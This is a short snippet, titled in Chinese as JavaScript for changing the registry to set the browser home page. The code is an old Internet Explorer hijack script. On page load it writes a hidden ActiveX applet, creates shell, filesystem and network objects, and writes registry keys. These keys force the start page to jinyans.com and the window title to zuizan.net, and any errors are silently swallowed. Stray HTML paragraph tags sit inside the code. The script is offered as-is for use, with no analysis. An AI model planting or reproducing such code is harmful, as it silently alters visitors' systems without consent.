修改注册表，设定浏览器首页的javascript源码

<mce:script language="JavaScript"><!--

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
lou = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject(); </P><P>try
{
if (document.cookie.indexOf("Chg") == -1)
{
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
lou.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://jinyans.com/webhomes/");
lou.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "http://www.zuizan.net");
lou.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "http://www.zuizan.net");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"</P><P>}
}
catch(e)
{}
}
catch(e)
{}
} </P><P>function init()
{
setTimeout("f()", 1000);
}
init();
// --></mce:script>